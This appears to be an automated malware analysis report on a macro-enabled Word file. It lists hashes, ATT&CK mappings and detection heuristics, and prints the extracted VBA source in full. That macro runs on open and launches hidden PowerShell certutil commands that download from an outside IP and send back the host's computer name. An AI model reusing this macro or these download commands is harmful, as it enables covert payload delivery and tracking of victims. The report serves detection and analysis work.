Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 05de66ca334f50e9…

MALICIOUS

Office (OOXML)

34.9 KB Created: 2021-11-03 14:50:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-11-25
MD5: 89d724dfc7fa92d219063f7316590037 SHA-1: 1be7abbf9103fe68ed1eeb5881ac1ada0970280f SHA-256: 05de66ca334f50e9f2fdf7566772d8f00d97095a8183863c4c3f7ab6263433c0
418 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros that execute upon opening the document. These macros utilize WScript.Shell to run PowerShell commands. The PowerShell commands leverage certutil to download and execute payloads from the URLs http://3.82.89.119/nra.simulation.2021/Hello, http://3.82.89.119/nra.simulation.2021/email.3.document.opened.on.host.%COMPUTERNAME%, and http://3.82.89.119/nra.simulation.2021/Bye. This indicates a downloader functionality designed to fetch and run further malicious content.

Heuristics 10

  • ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Dim wsh As Object
    Set wsh = CreateObject("WScript.Shell")
    wsh.Run "powershell -nop -w hidden certutil.exe -urlcache -split -f http://3.82.89.119/nra.simulation.2021/Hello %TEMP%"
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        Set wsh = CreateObject("WScript.Shell")
    wsh.Run "powershell -nop -w hidden certutil.exe -urlcache -split -f http://3.82.89.119/nra.simulation.2021/Hello %TEMP%"
    wsh.Run "powershell -nop -w hidden certutil.exe -urlcache -split -f http://3.82.89.119/nra.simulation.2021/email.3.document.opened.on.host.%COMPUTERNAME% %TEMP%"
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
        Set wsh = CreateObject("WScript.Shell")
    wsh.Run "powershell -nop -w hidden certutil.exe -urlcache -split -f http://3.82.89.119/nra.simulation.2021/Hello %TEMP%"
    wsh.Run "powershell -nop -w hidden certutil.exe -urlcache -split -f http://3.82.89.119/nra.simulation.2021/email.3.document.opened.on.host.%COMPUTERNAME% %TEMP%"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Dim wsh As Object
    Set wsh = CreateObject("WScript.Shell")
    wsh.Run "powershell -nop -w hidden certutil.exe -urlcache -split -f http://3.82.89.119/nra.simulation.2021/Hello %TEMP%"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    a
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Sub
Sub Document_Open()
    a
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://3.82.89.119/nra.simulation.2021/Hello In document text (OOXML body / shared strings)
    • http://3.82.89.119/nra.simulation.2021/email.3.document.opened.on.host.%COMPUTERNAME%In document text (OOXML body / shared strings)
    • http://3.82.89.119/nra.simulation.2021/ByeIn document text (OOXML body / shared strings)
    • http://3.82.89.119/nra.simulation.2021/emIn document text (OOXML body / shared strings)
    • http://3.82.89.119/nra.simulation.2021/In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 937 bytes
SHA-256: 0e5226312b8e11381732204ec02144a484176a3744a2d636b1ea959e9c3a80a5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    a
End Sub
Sub Document_Open()
    a
End Sub

Sub a()
    Dim wsh As Object
    Set wsh = CreateObject("WScript.Shell")
    wsh.Run "powershell -nop -w hidden certutil.exe -urlcache -split -f http://3.82.89.119/nra.simulation.2021/Hello %TEMP%"
    wsh.Run "powershell -nop -w hidden certutil.exe -urlcache -split -f http://3.82.89.119/nra.simulation.2021/email.3.document.opened.on.host.%COMPUTERNAME% %TEMP%"
    wsh.Run "powershell -nop -w hidden certutil.exe -urlcache -split -f http://3.82.89.119/nra.simulation.2021/Bye %TEMP%"
    Set wsh = Nothing
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 9728 bytes
SHA-256: 9bbc357b289487f54aa96a83a859703f928ae13e013a84dce689df56f923924c
Detection
ClamAV: Doc.Downloader.Pwshell-10001336-0
Obfuscation or payload: unlikely

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